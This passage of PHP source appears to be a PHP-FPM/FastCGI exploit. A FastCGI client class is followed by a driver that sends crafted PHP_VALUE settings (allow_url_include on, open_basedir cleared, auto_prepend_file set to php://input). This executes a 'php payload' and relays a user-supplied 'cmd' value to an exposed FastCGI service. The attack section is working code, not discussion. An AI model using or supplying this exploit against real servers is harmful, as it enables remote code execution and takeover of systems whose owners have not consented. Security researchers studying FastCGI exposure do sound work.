174 | 
175 |     /**
176 |      * Build an FastCGI Name value pair
177 |      *
178 |      * @param String $name Name
179 |      * @param String $value Value
180 |      * @return String FastCGI Name value pair
181 |      */
182 |     private function buildNvpair($name, $value)
183 |     {
184 |         $nlen = strlen($name);
185 |         $vlen = strlen($value);
186 |         if ($nlen < 128) {
187 |             /* nameLengthB0 */
188 |             $nvpair = chr($nlen);
189 |         } else {
190 |             /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
191 |             $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
192 |         }
193 |         if ($vlen < 128) {
194 |             /* valueLengthB0 */
195 |             $nvpair .= chr($vlen);
196 |         } else {
197 |             /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
198 |             $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
199 |         }
200 |         /* nameData & valueData */
201 |         return $nvpair . $name . $value;
202 |     }
203 | 
204 |     /**
205 |      * Read a set of FastCGI Name value pairs
206 |      *
207 |      * @param String $data Data containing the set of FastCGI NVPair
208 |      * @return array of NVPair
209 |      */
210 |     private function readNvpair($data, $length = null)
211 |     {
212 |         $array = array();
213 | 
214 |         if ($length === null) {
215 |             $length = strlen($data);
216 |         }
217 | 
218 |         $p = 0;
219 | 
220 |         while ($p != $length) {
221 | 
222 |             $nlen = ord($data{$p++});
223 |             if ($nlen >= 128) {
224 |                 $nlen = ($nlen & 0x7F << 24);
225 |                 $nlen |= (ord($data{$p++}) << 16);
226 |                 $nlen |= (ord($data{$p++}) << 8);
227 |                 $nlen |= (ord($data{$p++}));
228 |             }
229 |             $vlen = ord($data{$p++});
230 |             if ($vlen >= 128) {
231 |                 $vlen = ($nlen & 0x7F << 24);
232 |                 $vlen |= (ord($data{$p++}) << 16);
233 |                 $vlen |= (ord($data{$p++}) << 8);
234 |                 $vlen |= (ord($data{$p++}));
235 |             }
236 |             $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
237 |             $p += ($nlen + $vlen);
238 |         }
239 | 
240 |         return $array;
241 |     }
242 | 
243 |     /**
244 |      * Decode a FastCGI Packet
245 |      *
246 |      * @param String $data String containing all the packet
247 |      * @return array
248 |      */
249 |     private function decodePacketHeader($data)
250 |     {
251 |         $ret = array();
252 |         $ret['version']       = ord($data{0});
253 |         $ret['type']          = ord($data{1});
254 |         $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
255 |         $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
256 |         $ret['paddingLength'] = ord($data{6});
257 |         $ret['reserved']      = ord($data{7});
258 |         return $ret;
259 |     }
260 | 
261 |     /**
262 |      * Read a FastCGI Packet
263 |      *
264 |      * @return array
265 |      */
266 |     private function readPacket()
267 |     {
268 |         if ($packet = fread($this->_sock, self::HEADER_LEN)) {
269 |             $resp = $this->decodePacketHeader($packet);
270 |             $resp['content'] = '';
271 |             if ($resp['contentLength']) {
272 |                 $len  = $resp['contentLength'];
273 |                 while ($len && $buf=fread($this->_sock, $len)) {
274 |                     $len -= strlen($buf);
275 |                     $resp['content'] .= $buf;
276 |                 }
277 |             }
278 |             if ($resp['paddingLength']) {
279 |                 $buf=fread($this->_sock, $resp['paddingLength']);
280 |             }
281 |             return $resp;
282 |         } else {
283 |             return false;
284 |         }
285 |     }
286 | 
287 |     /**
288 |      * Get Informations on the FastCGI application
289 |      *
290 |      * @param array $requestedInfo information to retrieve
291 |      * @return array
292 |      */
293 |     public function getValues(array $requestedInfo)
294 |     {
295 |         $this->connect();
296 | 
297 |         $request = '';
298 |         foreach ($requestedInfo as $info) {
299 |             $request .= $this->buildNvpair($info, '');
300 |         }
301 |         fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
302 | 
303 |         $resp = $this->readPacket();
304 |         if ($resp['type'] == self::GET_VALUES_RESULT) {
305 |             return $this->readNvpair($resp['content'], $resp['length']);
306 |         } else {
307 |             throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
308 |         }
309 |     }
310 | 
311 |     /**
312 |      * Execute a request to the FastCGI application
313 |      *
314 |      * @param array $params Array of parameters
315 |      * @param String $stdin Content
316 |      * @return String
317 |      */
318 |     public function request(array $params, $stdin)
319 |     {
320 |         $response = '';
321 |         $this->connect();
322 | 
323 |         $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
324 | 
325 |         $paramsRequest = '';
326 |         foreach ($params as $key => $value) {
327 |             $paramsRequest .= $this->buildNvpair($key, $value);
328 |         }
329 |         if ($paramsRequest) {
330 |             $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
331 |         }
332 |         $request .= $this->buildPacket(self::PARAMS, '');
333 | 
334 |         if ($stdin) {
335 |             $request .= $this->buildPacket(self::STDIN, $stdin);
336 |         }
337 |         $request .= $this->buildPacket(self::STDIN, '');
338 | 
339 |         fwrite($this->_sock, $request);
340 | 
341 |         do {
342 |             $resp = $this->readPacket();
343 |             if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
344 |                 $response .= $resp['content'];
345 |             }
346 |         } while ($resp && $resp['type'] != self::END_REQUEST);
347 | 
348 |         if (!is_array($resp)) {
349 |             throw new Exception('Bad request');
350 |         }
351 | 
352 |         switch (ord($resp['content']{4})) {
353 |             case self::CANT_MPX_CONN:
354 |                 throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
355 |                 break;
356 |             case self::OVERLOADED:
357 |                 throw new Exception('New request rejected; too busy [OVERLOADED]');
358 |                 break;
359 |             case self::UNKNOWN_ROLE:
360 |                 throw new Exception('Role value not known [UNKNOWN_ROLE]');
361 |                 break;
362 |             case self::REQUEST_COMPLETE:
363 |                 return $response;
364 |         }
365 |     }
366 | }
367 | ?>
368 | "; // php payload
391 | if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
392 |     $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
393 | }else{
394 |     $php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nauto_prepend_file = php://input";
395 | }
396 | 
397 | $params = array(       
398 |         'GATEWAY_INTERFACE' => 'FastCGI/1.0',
399 |         'REQUEST_METHOD'    => 'POST',
400 |         'SCRIPT_FILENAME'   => $filepath,
401 |         'SCRIPT_NAME'       => $req,
402 |         'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
403 |         'REQUEST_URI'       => $uri,
404 |         'DOCUMENT_URI'      => $req,
405 |         #'DOCUMENT_ROOT'     => '/',
406 |         'PHP_VALUE'         => $php_value,
407 |         'SERVER_SOFTWARE'   => '80sec/wofeiwo',
408 |         'REMOTE_ADDR'       => '127.0.0.1',
409 |         'REMOTE_PORT'       => '9985',
410 |         'SERVER_ADDR'       => '127.0.0.1',
411 |         'SERVER_PORT'       => '80',
412 |         'SERVER_NAME'       => 'localhost',
413 |         'SERVER_PROTOCOL'   => 'HTTP/1.1',
414 |         'CONTENT_LENGTH'    => strlen($code)
415 | );
416 | // print_r($_REQUEST);
417 | // print_r($params);
418 | echo "Call: $uri\n\n";
419 | echo strstr($client->request($params, $code), "PHP Version", true)."\n";
420 | ?>
421 | 
422 | --------------------------------------------------------------------------------